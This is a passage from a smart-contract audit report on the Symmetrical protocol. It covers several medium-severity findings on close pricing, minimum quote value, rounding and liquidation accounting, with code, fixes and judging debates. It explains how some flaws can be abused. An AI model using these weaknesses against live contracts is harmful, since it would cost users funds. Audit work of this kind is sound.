                "PartyAFacet: Requested close price not reached"
            );
        } else {
            require(
                upnlSig.price <=
+                   quote.requestedClosePrice,
-                    quote.requestedClosePrice -
-                         (quote.requestedClosePrice *
↪   maLayout.forceCloseGapRatio) /
-                         1e18,
                "PartyAFacet: Requested close price not reached"
            );
        }
..SNIP..
-       LibQuote.closeQuote(quote, filledAmount, quote.requestedClosePrice);
+       LibQuote.closeQuote(quote, filledAmount, upnlSig.price);
    }
```

For long-term improvement to the protocol, assuming that the user's requested price is of fair value:

1) Hedger should be penalized for not responding to the user's closing request in a timely manner; OR
2) Hegder should be incentivized to respond to the user's closing request. For instance, they are entitled to charge a spread if they respond to user closing requests.

Discussion

mstpr

Escalate

Hedgers are not incentivized to hold the position because

1- price can move, it is not a safe bet to keep the position for couple more days always. When hedgers take the risk of not closing a position they also take the risk of price movements against their position.

2- Hedgers are not taking any spread. Quote is closed at the requested close price. https://github.com/sherlock-audit/2023-06-symmetrical/blob/6d2b64b6732fcfbd07c8217897dd233dbb6cd1f5/symmio-core/contracts/facets/PartyA/PartyAFacetImpl.sol#L296

Both partyA and partyB shouldn't be penalized for these actions. Recommendation says that the hedger (partyB) should be penalized if things go to forcing. However, this can also be easily abusable by partyA, partyA can create close requests near the market price and continuously cash out the profits knowing that partyB will forced to close the request rather than keep it waiting.

If the market price is used for force close as stated in recommendation it is even worse. Now, the partyB has a chance, will he keep the trade and wish for the price to move to its favor or just take the trade. Now, partyB is actually kind of incentivized to hold the position. Current design ensures that the request is closed as the requested price. There is a small buffer to keep partyA not abusing this which makes sense. I don't think anything is wrong here and everything is design choice.

sherlock-admin2

> Escalate
>
> Hedgers are not incentivized to hold the position because
>
> 1- price can move, it is not a safe bet to keep the position for couple more days always. When hedgers take the risk of not closing a position they also take the risk of price movements against their position.
>
> 2- Hedgers are not taking any spread. Quote is closed at the requested close price. https://github.com/sherlock-audit/2023-06-symmetrical/blob/6d2b64b6732fcfbd07c8217897dd233dbb6cd1f5/symmio-core/contracts/facets/PartyA/PartyAFacetImpl.sol#L296
>
> Both partyA and partyB shouldn't be penalized for these actions. Recommendation says that the hedger (partyB) should be penalized if things go to forcing. However, this can also be easily abusable by partyA, partyA can create close requests near the market price and continuously cash out the profits knowing that partyB will forced to close the request rather than keep it waiting.
>
> If the market price is used for force close as stated in recommendation it is even worse. Now, the partyB has a chance, will he keep the trade and wish for the price to move to its favor or just take the trade. Now, partyB is actually kind of incentivized to hold the position. Current design ensures that the request is closed as the requested price. There is a small buffer to keep partyA not abusing this which makes sense. I don't think anything is wrong here and everything is design choice.

You've created a valid escalation!

To remove the escalation from consideration: Delete your comment.

You may delete or edit your escalation comment anytime before the 48-hour escalation window closes. After that, the escalation becomes final.

imherefortech

Escalate

To add some arguments, if hedgers do not respond to the requests in time, users will move to other hedgers. Remember, that users provide a whitelist of hedgers that can respond to their quotes. Hedgers are pretty clearly incentivized this way.

sherlock-admin2

> Escalate

> To add some arguments, if hedgers do not respond to the requests in time, users will move to other hedgers. Remember, that users provide a whitelist of hedgers that can respond to their quotes. Hedgers are pretty clearly incentivized this way.

You've created a valid escalation!

To remove the escalation from consideration: Delete your comment.

You may delete or edit your escalation comment anytime before the 48-hour escalation window closes. After that, the escalation becomes final.

xiaoming9090

> Escalate
>
> Hedgers are not incentivized to hold the position because
>
> 1- price can move, it is not a safe bet to keep the position for couple more days always. When hedgers take the risk of not closing a position they also take the risk of price movements against their position.
>
> 2- Hedgers are not taking any spread. Quote is closed at the requested close price. https://github.com/sherlock-audit/2023-06-symmetrical/blob/6d2b64b6732fcfbd07c8217897dd233dbb6cd1f5/symmio-core/contracts/facets/PartyA/PartyAFacetImpl.sol#L296
>
> Both partyA and partyB shouldn't be penalized for these actions. Recommendation says that the hedger (partyB) should be penalized if things go to forcing. However, this can also be easily abusable by partyA, partyA can create close requests near the market price and continuously cash out the profits knowing that partyB will forced to close the request rather than keep it waiting.
>
> If the market price is used for force close as stated in recommendation it is even worse. Now, the partyB has a chance, will he keep the trade and wish for the price to move to its favor or just take the trade. Now, partyB is actually kind of incentivized to hold the position. Current design ensures that the request is closed as the requested price. There is a small buffer to keep partyA not abusing this which makes sense. I don't think anything is wrong here and everything is design choice.

Point 1 is irrelevant. If the PartyB (Hedger) choose not to close the position, obviously they have evaluated and chosen to accept the risk of price movements.

Point 2 is incorrect. The `require` statement and the `forceCloseGapRatio` here ensure that there is spread.

There is a misunderstanding. The report is not saying that PartyA and/or PartyB (Hedger) should be penalized. Instead, the report is saying that PartyB (Hedger) should not be rewarded with a spread if it does not do its job by responding to user's close position request.

xiaoming9090

> Escalate
>
> To add some arguments, if hedgers do not respond to the requests in time, users will move to other hedgers. Remember, that users provide a whitelist of hedgers that can respond to their quotes. Hedgers are pretty clearly incentivized this way.

If such a measure did not exist in the first place, the issue would have been graded as 'High' since there would be less deterrence to ensure that PartyB (Hedger) behaves appropriately. However, in this case, it has been downgraded to Medium taking into consideration of other factors. Also, the main goal (root problem) of this report is to highlight the fact that Hedgers are still being rewarded with the spread even though they do not do their job by responding to users' close position requests.

In addition, it does not make sense for a user who has to manually force close their position because the Hedger refuses to do its job, and yet the user has to pay a spread and reward it to the Hedger for not doing its job.

mstpr

"However, if the hedger chooses to ignore the user's close request, this will force the user to call the forceClosePosition, and the user will have to pay a spread to the hedgers due to the gap ratio. In this case, the hedgers will benefit more due to the spread."

the position is closed at the requested close price not at the requested close price + buffer. There is only a buffer for partyA to not abuse the system which make sense. If hedger does not want to close the position at the requested price of partyA, which is totally understandable and fine, then the hedger is not necessarily safe or incentivized. It means that the hedger is still exposed to the price movements during the time.

Both partyA and partyB are counterparties of a trade. PartyB does not have to follow the rules of partyA.

I would kindly ask for you to provide a scenario where its "always" in benefit of partyB to stall the close request. I think your recommended fix is an another medium finding for Sherlock.

MoonKnightDev

Fixed code PR link: https://github.com/SYMM-IO/symmio-core/pull/17

hrishibhat

Result: Medium Unique After considering the above discussion considering this issue a valid medium. Agree with the comments here There is a spread in addition to the requested close price. Additionally, the fix also acknowledges the problem Some comments from the Sponsor on the function:

> Hedgers have the option to close their positions on the broker side, adding a spread on top of it. However, when it comes to filling the contract side, it is preferable for them to match or exceed the user's requested price. Regarding the force close mechanism, the gap ratio allows hedgers to charge a spread on the broker side. Additionally, during a force close, the position should be filled at the market price rather than the user's requested price.

sherlock-admin2

Escalations have been resolved successfully!

Escalation status:

- mstpr: rejected
- imherefortech: rejected

Issue M-18: Position value can fall below the minimum acceptable quote value

Source:
https://github.com/sherlock-audit/2023-06-symmetrical-judging/issues/248

Found by

0xcrunch, Ch_301, Juntao, berndartmueller, bin2chen, circlelooper, mstpr-brainbot, shaka, volodya, xiaoming90

Summary

PartyB can fill a LIMIT order position till the point where the value is below the minimum acceptable quote value (`minAcceptableQuoteValue`). As a result, it breaks the invariant that the value of position must be above the minimum acceptable quote value, leading to various issues and potentially losses for the users.

Vulnerability Detail

https://github.com/sherlock-audit/2023-06-symmetrical/blob/main/symmio-core/contracts/libraries/LibQuote.sol#L196

```
File: LibQuote.sol
149:     function closeQuote(Quote storage quote, uint256 filledAmount, uint256
↪  closedPrice) internal {
..SNIP..
189:         if (quote.closedAmount == quote.quantity) {
190:             quote.quoteStatus = QuoteStatus.CLOSED;
191:             quote.requestedClosePrice = 0;
192:             removeFromOpenPositions(quote.id);
193:             quoteLayout.partyAPositionsCount[quote.partyA] -= 1;
194:             quoteLayout.partyBPositionsCount[quote.partyB][quote.partyA] -=
↪  1;
195:         } else if (
196:             quote.quoteStatus == QuoteStatus.CANCEL_CLOSE_PENDING ||
↪  quote.quantityToClose == 0
197:         ) {
198:             quote.quoteStatus = QuoteStatus.OPENED;
199:             quote.requestedClosePrice = 0;
200:             quote.quantityToClose = 0; // for CANCEL_CLOSE_PENDING status
201:         } else {
202:             require(
203:                 quote.lockedValues.total() >=
204:
↪  SymbolStorage.layout().symbols[quote.symbolId].minAcceptableQuoteValue,
205:                    "LibQuote: Remaining quote value is low"
206:                );
207:            }
208:        }
```

If the user has already sent the close request, but partyB has not filled it yet, the user can request to cancel it by calling the `CancelCloseRequest` function. This will cause the quote's status to change to `QuoteStatus.CANCEL_CLOSE_PENDING`.

PartyB can either accept the cancel request or fill the close request ignoring the user's request. If PartyB decided to go ahead to fill the close request partially, the second branch of the if-else statement at Line 196 will be executed. However, the issue is that within this branch, PartyB is not subjected to the `minAcceptableQuoteValue` validation check. Thus, it is possible for PartyB to fill a LIMIT order position till the point where the value is below the minimum acceptable quote value (`minAcceptableQuoteValue`).

Impact

In the codebase, the `minAcceptableQuoteValue` is currently set to 5 USD. There are many reasons for having a minimum quote value in the first place. For instance, if the value of a position is too low, it will be uneconomical for the liquidator to liquidate the position because the liquidation fee would be too small or insufficient to cover the cost of liquidation. Note that the liquidation fee is computed as a percentage of the position value.

This has a negative impact on the overall efficiency of the liquidation mechanism within the protocol, which could delay or stop the liquidation of accounts or positions, exposing users to greater market risks, including the risk of incurring larger losses or having to exit at an unfavorable price.

Code Snippet

https://github.com/sherlock-audit/2023-06-symmetrical/blob/main/symmio-core/contracts/libraries/LibQuote.sol#L196

Tool used

Manual Review

Recommendation

If the user sends a close request and PartyB decides to go ahead to fill the close request partially, consider checking if the remaining value of the position is above the minimum acceptable quote value (`minAcceptableQuoteValue`) after PartyB has filled the position.

```
function closeQuote(Quote storage quote, uint256 filledAmount, uint256
 ↪  closedPrice) internal {
    ..SNIP..
    if (quote.closedAmount == quote.quantity) {
        quote.quoteStatus = QuoteStatus.CLOSED;
        quote.requestedClosePrice = 0;
        removeFromOpenPositions(quote.id);
        quoteLayout.partyAPositionsCount[quote.partyA] -= 1;
        quoteLayout.partyBPositionsCount[quote.partyB][quote.partyA] -= 1;
    } else if (
        quote.quoteStatus == QuoteStatus.CANCEL_CLOSE_PENDING ||
 ↪  quote.quantityToClose == 0
    ) {
        quote.quoteStatus = QuoteStatus.OPENED;
        quote.requestedClosePrice = 0;
        quote.quantityToClose = 0; // for CANCEL_CLOSE_PENDING status
+
+        require(
+            quote.lockedValues.total() >=
+
 ↪  SymbolStorage.layout().symbols[quote.symbolId].minAcceptableQuoteValue,
+            "LibQuote: Remaining quote value is low"
+        );
    } else {
        require(
            quote.lockedValues.total() >=

 ↪  SymbolStorage.layout().symbols[quote.symbolId].minAcceptableQuoteValue,
            "LibQuote: Remaining quote value is low"
        );
    }
}
```

Discussion

MoonKnightDev

The lockedValues amount of remaining open portion of the position is already validated in the 'requestToClose' function, so there's no need to check 'minAcceptableQuoteValue' within the 'closeQuote' function. https://github.com/sherlock-audit/2023-06-symmetrical/blob/6d2b64b6732fcfbd07c8217897dd233dbb6cd1f5/symmio-core/contracts/facets/PartyA/PartyAFacetImpl.sol#L175

hrishibhat

Considering this a non issue based on the above sponsor comments

shaka0x

@hrishibhat @MoonKnightDev I do not understand the reasoning. The scenario can be:

- minAcceptableQuoteValue: 5
- It is requested to close 100% of the position, so remaining open portion is 0
- Position is closed partially and we end up with a position of value 3

xiaoming9090

> @hrishibhat @MoonKnightDev I do not understand the reasoning. The scenario can be:
>
> - minAcceptableQuoteValue: 5
> - It is requested to close 100% of the position, so remaining open portion is 0
> - Position is closed partially and we end up with a position of value 3

If someone requests to close 100% of the position, `quote.closedAmount == quote.quantity`. In this case, the position is closed completely and this section of the code will be executed instead.

The `minAcceptableQuoteValue` is not relevant for a position that is closed completely.

shaka0x

> > @hrishibhat @MoonKnightDev I do not understand the reasoning. The scenario can be:
> >
> > - minAcceptableQuoteValue: 5
> > - It is requested to close 100% of the position, so remaining open portion is 0
> > - Position is closed partially and we end up with a position of value 3
>
> If someone requests to close 100% of the position, `quote.closedAmount == quote.quantity`. In this case, the position is closed completely and this section of the code will be executed instead.
>
> The `minAcceptableQuoteValue` is not relevant for a position that is closed completely.

I mean passing 100% in `requestToClosePosition`. @MoonKnightDev says the check here will prevent the lockedValues amount of remaining open portion of the position be below the `minAcceptableQuoteValue`. If party A requests to close all, there are no remaining open portion, so the check passes. Now, in `closeQuote`, party B closes it partially and we do end up with an open position with value below the `minAcceptableQuoteValue`.

panprog

Agree with @shaka0x Got a working proof of concept here partyA `requestToClosePosition` -> remainder can't be below minimum partyA `requestToClosePosition` -> partyB `fillCloseRequest` (partial) -> remainder can't be below minimum partyA `requestToClosePosition` -> partyA `requestToCancelCloseRequest` -> partyB `fillCloseRequest` (partial) -> remainder **CAN** be below minimum

Navid-Fkh

Fixed code PR link: https://github.com/SYMM-IO/symmio-core/pull/20

hrishibhat

After further review based on the points raised by @shaka0x @panprog considering this a valid issue. The same is fixed by the Sponsor.

Issue M-19: Rounding error when closing quote

Source:
https://github.com/sherlock-audit/2023-06-symmetrical-judging/issues/251

Found by

mstpr-brainbot, xiaoming90

Summary

Rounding errors could occur if the provided `filledAmount` is too small, resulting in the locked balance of an account remains the same even though a certain amount of the position has been closed.

Vulnerability Detail

https://github.com/sherlock-audit/2023-06-symmetrical/blob/main/symmio-core/contracts/libraries/LibQuote.sol#L155

```
File: LibQuote.sol
149:     function closeQuote(Quote storage quote, uint256 filledAmount, uint256 closedPrice) internal {
150:         QuoteStorage.Layout storage quoteLayout = QuoteStorage.layout();
151:         AccountStorage.Layout storage accountLayout = AccountStorage.layout();
152: 
153:         quote.modifyTimestamp = block.timestamp;
154: 
155:         LockedValues memory lockedValues = LockedValues(
156:             quote.lockedValues.cva -
157:                 ((quote.lockedValues.cva * filledAmount) / (LibQuote.quoteOpenAmount(quote))),
158:             quote.lockedValues.mm -
159:                 ((quote.lockedValues.mm * filledAmount) / (LibQuote.quoteOpenAmount(quote))),
160:             quote.lockedValues.lf -
161:                 ((quote.lockedValues.lf * filledAmount) / (LibQuote.quoteOpenAmount(quote)))
162:         );
163:         accountLayout.lockedBalances[quote.partyA].subQuote(quote).add(lockedValues);
164:         accountLayout.partyBLockedBalances[quote.partyB][quote.partyA].subQuote(quote).add(
165:             lockedValues
166:         );
```

```
167:         quote.lockedValues = lockedValues;
168:
169:         (bool hasMadeProfit, uint256 pnl) =
 ↪  LibQuote.getValueOfQuoteForPartyA(
170:             closedPrice,
171:             filledAmount,
172:             quote
173:         );
174:         if (hasMadeProfit) {
175:             accountLayout.allocatedBalances[quote.partyA] += pnl;
176:
 ↪  accountLayout.partyBAllocatedBalances[quote.partyB][quote.partyA] -= pnl;
177:         } else {
178:             accountLayout.allocatedBalances[quote.partyA] -= pnl;
179:
 ↪  accountLayout.partyBAllocatedBalances[quote.partyB][quote.partyA] += pnl;
180:         }
```

In Lines 157, 159, and 161 above, a malicious user could make the numerator smaller than the denominator (`LibQuote.quoteOpenAmount(quote)`), and the result will be zero due to a rounding error in Solidity.

In this case, the `quote.lockedValues` will not decrease and will remain the same. As a result, the locked balance of the account will remain the same even though a certain amount of the position has been closed. This could cause the account's locked balance to be higher than expected, and the errors will accumulate if it happens many times.

Impact

When an account's locked balances are higher than expected, their available balance will be lower than expected. The available balance affects the amount that users can withdraw from their accounts. The "silent" increase in their locked values means that the amount that users can withdraw becomes lesser over time, and these amounts are lost due to the errors.

Code Snippet

https://github.com/sherlock-audit/2023-06-symmetrical/blob/main/symmio-core/contracts/libraries/LibQuote.sol#L155

Tool used

Manual Review

Recommendation

When the `((quote.lockedValues.cva * filledAmount) / (LibQuote.quoteOpenAmount(quote)))` rounds down to zero, this means that a rounding error has occurred as the numerator is smaller than the denominator. The CVA, `filledAmount` or both might be too small.

Consider performing input validation against the `filledAmount` within the `fillCloseRequest` function to ensure that the provided values are sufficiently large and will not result in a rounding error.

Discussion

sherlock-admin2

> Escalate
>
> Given that:
>
> - All amounts are of precision 18 decimals and multiplication before division rule is implemented
> - Multiple checks on locked amounts wrt quantity opened: https://github.com/sherlock-audit/2023-06-symmetrical/blob/main/symmio-core/contracts/facets/PartyA/PartyAFacetImpl.sol#L50-L65
>
> The amounts remaining locked are very small (magnitude of few wei per call), this issue should be of low severity per sherlock standards

```
You've deleted an escalation for this issue.
```

xiaoming9090

Escalate

> Escalate
>
> Given that:
>
> - All amounts are of precision 18 decimals and multiplication before division rule is implemented
> - Multiple checks on locked amounts wrt quantity opened: https://github.com/sherlock-audit/2023-06-symmetrical/blob/main/symmio-core/contracts/facets/PartyA/PartyAFacetImpl.sol#L50-L65
>
> The amounts remaining locked are very small (magnitude of few wei per call), this issue should be of low severity per sherlock standards

Regarding the second bullet point, the checks will only be relevant if the position is fully closed via the `forceClosePosition` or `emergencyClosePosition` function, as they are forced to close the entire quantity of the position. However, if the position is partially filled via the `fillCloseRequest`, the error might still occur since the caller can specify an arbitrary `filledAmount`.

If an account has only traded a few times and the error only happens a few times, it might be fine. However, this is a trading protocol, and it is expected that there will be users who are active traders or entities that perform high-frequency or algorithmic trading.

Thus, the error will eventually accumulate into a significant value for these types of traders, and they will suffer the consequences as mentioned in my impact section of the report. In addition, it breaks an important protocol invariant where the locked balance does not decrease when a position is closed, which is unacceptable.

sherlock-admin2

> Escalate
>
> > Escalate
> >
> > Given that:
> >
> > - All amounts are of precision 18 decimals and multiplication before division rule is implemented
> > - Multiple checks on locked amounts wrt quantity opened: https://github.com/sherlock-audit/2023-06-symmetrical/blob/main/symmio-core/contracts/facets/PartyA/PartyAFacetImpl.sol#L50-L65
> >
> > The amounts remaining locked are very small (magnitude of few wei per call), this issue should be of low severity per sherlock standards
>
> Regarding the second bullet point, the checks will only be relevant if the position is fully closed via the `forceClosePosition` or `emergencyClosePosition` function, as they are forced to close the entire quantity of the position. However, if the position is partially filled via the `fillCloseRequest`, the error might still occur since the caller can specify an arbitrary `filledAmount`.
>
> If an account has only traded a few times and the error only happens a few times, it might be fine. However, this is a trading protocol, and it is expected that there will be users who are active traders or entities that perform high-frequency or algorithmic trading.
>
> Thus, the error will eventually accumulate into a significant value for these types of traders, and they will suffer the consequences as mentioned in my impact section of the report. In addition, it breaks an important protocol invariant where the locked balance does not decrease when a position is closed, which is unacceptable.

You've created a valid escalation!

To remove the escalation from consideration: Delete your comment.

You may delete or edit your escalation comment anytime before the 48-hour escalation window closes. After that, the escalation becomes final.

SergeKireev

Escalate

This issue is invalid because `LibQuote.quoteOpenAmount(quote))` is defined as:

```
function quoteOpenAmount(Quote storage quote) internal view returns (uint256) {
    return quote.quantity - quote.closedAmount;
}
```

in the `closeQuote` function, `quote.closedAmount` is also updated as follows:

```
quote.closedAmount += filledAmount;
```

Which means that when the user closes the position completely `filledAmount == LibQuote.quoteOpenAmount(quote))` (which also means `filledAmount/LibQuote.quoteOpenAmount(quote)) == 1` and without rounding error) and the whole amount is unlocked in any case

sherlock-admin2

> Escalate
>
> This issue is invalid because `LibQuote.quoteOpenAmount(quote))` is defined as:
>
> ```
> function quoteOpenAmount(Quote storage quote) internal view returns
>  ↪  (uint256) {
>     return quote.quantity - quote.closedAmount;
> }
> ```
>
> in the `closeQuote` function, `quote.closedAmount` is also updated as follows:
>
> ```
> quote.closedAmount += filledAmount;
> ```
>
> Which means that when the user closes the position completely `filledAmount == LibQuote.quoteOpenAmount(quote))` (which also means `filledAmount/LibQuote.quoteOpenAmount(quote)) == 1` and without rounding error) and the whole amount is unlocked in any case

You've created a valid escalation!

To remove the escalation from consideration: Delete your comment.

You may delete or edit your escalation comment anytime before the 48-hour escalation window closes. After that, the escalation becomes final.

Evert0x

@xiaoming9090 any comment on the escalation by @SergeKireev ?

MoonKnightDev

Fixed code PR link: https://github.com/SYMM-IO/symmio-core/pull/24

xiaoming9090

> Escalate
>
> This issue is invalid because `LibQuote.quoteOpenAmount(quote))` is defined as:
>
> ```
> function quoteOpenAmount(Quote storage quote) internal view returns
>  ↪  (uint256) {
>     return quote.quantity - quote.closedAmount;
> }
> ```
>
> in the `closeQuote` function, `quote.closedAmount` is also updated as follows:
>
> ```
> quote.closedAmount += filledAmount;
> ```
>
> Which means that when the user closes the position completely `filledAmount == LibQuote.quoteOpenAmount(quote))` (which also means `filledAmount/LibQuote.quoteOpenAmount(quote)) == 1` and without rounding error) and the whole amount is unlocked in any case

Disagree. This does not make the issue invalid. If the trader executes many small partial closes without completely closing the position, the accumulated error in the locked values will exist. It is unacceptable for the protocol to have inaccurate locked values at any single point in time. The locked values are used to determine many crucial decisions throughout the protocol, such as in assessing the solvency of an account.

hrishibhat

Result: Medium Has duplicates Agree with the fix and the comment here: https://github.com/sherlock-audit/2023-06-symmetrical-judging/issues/251#issuecomment-1685574052 maintaining severity as is

sherlock-admin2

Escalations have been resolved successfully!

Escalation status:

- xiaoming9090: accepted
- SergeKireev: rejected

Issue M-20: Liquidating a turned solvent Party A does not credit the profits to Party A

Source:
https://github.com/sherlock-audit/2023-06-symmetrical-judging/issues/290

Found by

berndartmueller, libratus

Summary

Party A can turn solvent again mid-way through the multi-step liquidation process. While Party B will have its losses deducted from its allocated balance, Party A will not receive any profits. Instead, its allocated balance is reset to 0.

Vulnerability Detail

If Party A turns solvent again, i.e., its available balance (`availableBalance`) is positive, after a liquidator has started the liquidation and calls the `setSymbolsPrice` to initialize the symbol prices as well as Party A's liquidation details, the liquidation will proceed as usual. Liquidating the individual open positions of Party A with the `liquidatePositionsPartyA` function deducts the losses from the trading counterparty B's allocated balance in line 170.

However, the profits made by Party A are not credited to Party A's allocated balance. Instead, Party A's allocated balance is reset to 0 in line 216 once all positions are liquidated.

Impact

Party A's realized profits during the liquidation are retained by the protocol instead of credited to Party A's allocated balance.

Code Snippet

contracts/facets/liquidation/LiquidationFacetImpl.sol#L65-L67

Party A, who turned solvent, will have the liquidation proceed as usual, with the `liquidationType` set to `NORMAL`.

```
34: function setSymbolsPrice(address partyA, PriceSig memory priceSig) internal {
...     // [...]
51:
52:     int256 availableBalance =
 ↪  LibAccount.partyAAvailableBalanceForLiquidation(
53:         priceSig.upnl,
54:         partyA
55:     );
56:     if (accountLayout.liquidationDetails[partyA].liquidationType ==
↪  LiquidationType.NONE) {
57:         accountLayout.liquidationDetails[partyA] = LiquidationDetail({
58:             liquidationType: LiquidationType.NONE,
59:             upnl: priceSig.upnl,
60:             totalUnrealizedLoss: priceSig.totalUnrealizedLoss,
61:             deficit: 0,
62:             liquidationFee: 0
63:         });
64: @>      if (availableBalance >= 0) {
65: @>          uint256 remainingLf = accountLayout.lockedBalances[partyA].lf;
66: @>          accountLayout.liquidationDetails[partyA].liquidationType =
↪  LiquidationType.NORMAL;
67: @>          accountLayout.liquidationDetails[partyA].liquidationFee =
↪  remainingLf;
68:         } else if (uint256(-availableBalance) <
↪  accountLayout.lockedBalances[partyA].lf) {
...     // [...]
97: }
```

contracts/facets/liquidation/LiquidationFacetImpl.sol#L170

Liquidating Party A's positions, which are in a profit (and thus a loss for Party B), deducts the losses from Party B's allocated balance in line 170. The profit is **not** credited to Party A.

```
File: LiquidationFacetImpl.sol
126: function liquidatePositionsPartyA(
127:     address partyA,
128:     uint256[] memory quoteIds
129: ) internal returns (bool) {
130:     AccountStorage.Layout storage accountLayout = AccountStorage.layout();
131:     MAStorage.Layout storage maLayout = MAStorage.layout();
132:     QuoteStorage.Layout storage quoteLayout = QuoteStorage.layout();
133:
134:     require(maLayout.liquidationStatus[partyA], "LiquidationFacet: PartyA
↪  is solvent");
135:     for (uint256 index = 0; index < quoteIds.length; index++) {
136:         Quote storage quote = quoteLayout.quotes[quoteIds[index]];
...          // [...]
162:
163:         if (
164:             accountLayout.liquidationDetails[partyA].liquidationType ==
↪  LiquidationType.NORMAL
165:         ) {
```

```
166:             accountLayout.partyBAllocatedBalances[quote.partyB][partyA] +=
↪  quote
167:                 .lockedValues
168:                 .cva;
169:             if (hasMadeProfit) {
170: @>              accountLayout.partyBAllocatedBalances[quote.partyB][partyA]
↪  -= amount; // @audit-info Party B's allocated balance is decreased by the
↪  amount of profit made by party A
171:             } else {
172:                 accountLayout.partyBAllocatedBalances[quote.partyB][partyA]
↪  += amount;
173:             }
```

contracts/facets/liquidation/LiquidationFacetImpl.sol#L216

Once all of Party A's positions are liquidated, Party A's allocated balance is reset to 0 in line 216.

```
126: function liquidatePositionsPartyA(
127:     address partyA,
128:     uint256[] memory quoteIds
129: ) internal returns (bool) {
...   // [...]
211:  if (quoteLayout.partyAPositionsCount[partyA] == 0) {
212:      require(
213:          quoteLayout.partyAPendingQuotes[partyA].length == 0,
214:          "LiquidationFacet: Pending quotes should be liquidated first"
215:      );
216:  @>  accountLayout.allocatedBalances[partyA] = 0;
217:      accountLayout.lockedBalances[partyA].makeZero();
218:
219:      uint256 lf = accountLayout.liquidationDetails[partyA].liquidationFee;
220:      if (lf > 0) {
221:
↪  accountLayout.allocatedBalances[accountLayout.liquidators[partyA][0]] += lf
↪  / 2;
222:
↪  accountLayout.allocatedBalances[accountLayout.liquidators[partyA][1]] += lf
↪  / 2;
223:      }
224:      delete accountLayout.liquidators[partyA];
225:      maLayout.liquidationStatus[partyA] = false;
226:      maLayout.liquidationTimestamp[partyA] = 0;
227:      accountLayout.liquidationDetails[partyA].liquidationType =
↪  LiquidationType.NONE;
228:      if (
229:          accountLayout.totalUnplForLiquidation[partyA] !=
230:          accountLayout.liquidationDetails[partyA].upnl
```

```
    ) {
        accountLayout.totalUnplForLiquidation[partyA] = 0;
        return false;
    }
    accountLayout.totalUnplForLiquidation[partyA] = 0;
}
return true;
```

Tool used

Manual Review

Recommendation

Consider adding Party A's realized profits during the liquidation to Party A's allocated balance.

Discussion

mstpr

Escalate

This works as intended. Liquidation should happen when the price reaches the liq threshold this is how the leverage trading works. Even a small wick touching the liq threshold price should initiate an immediate liquidation for the partyA. If the price goes immediately back up to liq threshold then this account should still be liquidated because the price touched to the liquidation threshold already even for a single second.

Leverage trading between two parties are basically contracts, if partyA is liquidatable for even a millisecond it should be liquidated and partyB should be compensated because the agreement is settled already.

sherlock-admin2

> Escalate
>
> This works as intended. Liquidation should happen when the price reaches the liq threshold this is how the leverage trading works. Even a small wick touching the liq threshold price should initiate an immediate liquidation for the partyA. If the price goes immediately back up to liq threshold then this account should still be liquidated because the price touched to the liquidation threshold already even for a single second.
>
> Leverage trading between two parties are basically contracts, if partyA is liquidatable for even a millisecond it should be liquidated and partyB should be compensated because the agreement is settled already.

You've created a valid escalation!

To remove the escalation from consideration: Delete your comment.

You may delete or edit your escalation comment anytime before the 48-hour escalation window closes. After that, the escalation becomes final.

berndartmueller

I agree that Party A should always be liquidated, even if the liquidation threshold was touched just for a very short time.

However, the demonstrated issue here is that if Party A has multiple positions, those which are in profit are not considered in party A's balance (while Party B will have it deducted). Instead, the protocol amasses the funds while not having the ability to withdraw them.

JeffCX

> I agree that Party A should always be liquidated, even if the liquidation threshold was touched just for a very short time.
>
> However, the demonstrated issue here is that if Party A has multiple positions, those which are in profit are not considered in party A's balance (while Party B will have it deducted). Instead, the protocol amasses the funds while not having the ability to withdraw them.

I have to agree with the submitter's comment and recommend maintaining the medium severtiy

mstpr

PartyA is trading cross not isolated like partyB's. PartyA can have 5 trades going on with 5 different partyB's where 4 of them could be in profit but 1 of them is in huge loss that leads to liquidation. As you can also see in the contracts the total available balance for partyA is the cumulative locked balances + cumulative pnl which indicates that partyA is actually responsible for the overall balance of its position not individual positions as in isolated trading. Hence, this should be invalid

Evert0x

> Party A's realized profits during the liquidation are retained by the protocol instead of credited to Party A's allocated balance.

This does seem like intended behavior and can count as a loss for other parties involved

berndartmueller

If Party A turned solvent mid-way through the liquidation process (between calling `setSymbolsPrice` and `liquidatePositionsPartyA`), i.e., cumulative locked balances + cumulative PnL is positive, the profits from the profitable positions are not credited to Party A, while the losses for Party B are accounted for in L170.

Those retained profits from Party A sit in the protocol's contract and remain unutilized. Besides, it seems the sponsor confirmed the issue as well. Curious to hear their thoughts.

MoonKnightDev

Fixed code PR link: https://github.com/SYMM-IO/symmio-core/pull/22

mstpr

> If Party A turned solvent mid-way through the liquidation process (between calling `setSymbolsPrice` and `liquidatePositionsPartyA`), i.e., cumulative locked balances + cumulative PnL is positive, the profits from the profitable positions are not credited to Party A, while the losses for Party B are accounted for in L170.
>
> Those retained profits from Party A sit in the protocol's contract and remain unutilized. Besides, it seems the sponsor confirmed the issue as well. Curious to hear their thoughts.

I think MM is almost always idle and retained in the protocol contract in NORMAL liquidations

say cva = 180, lf = 20, mm = 200, pnl = -201

400 - 200 - 201 = -1, partyA is liqable.

Now, say partyA is solvent midway as you said, the pnl is +1 now.

https://github.com/sherlock-audit/2023-06-symmetrical/blob/6d2b64b6732fcfbd07c8217897dd233dbb6cd1f5/symmio-core/contracts/facets/liquidation/LiquidationFacetImpl.sol#L166-L173 partyBLockedBalances += 180 partyBLockedBalances -= 1

partyBLockedBalances = 400 + 180 - 1 = 579

now, partyA's cva went to partyB partyA's lf went to liquidator partyA's mm is ?? I think this is left in the contract anyways

so we can say in a normal liquidation mm is always stucks in contract? Am I missing something?

panprog

> so we can say in a normal liquidation mm is always stucks in contract? Am I missing something?

It's not mm that the protocol "steals", it's the partyA balance after it turns solvent. In your example if pnl changed from -201 to +1, that means partyA balance becomes: 400-200+1 = +201 - so 201 is stolen by the protocol (but it has nothing to do with mm - it's just a close number in your example). If pnl of partyA changes from -201 to -199, then partyA balance becomes 400-200-199=+1 - partyA is solvent. partyBallocatedBalance += 180 + 199 = +379 liquidator will get +20 partyA balance will be set to 0 (from 400) (-400) So the balances for all parties are: +379+20-400=-1 So 1 is retained (stolen) by the protocol.

mstpr

> > so we can say in a normal liquidation mm is always stucks in contract? Am I missing something?
>
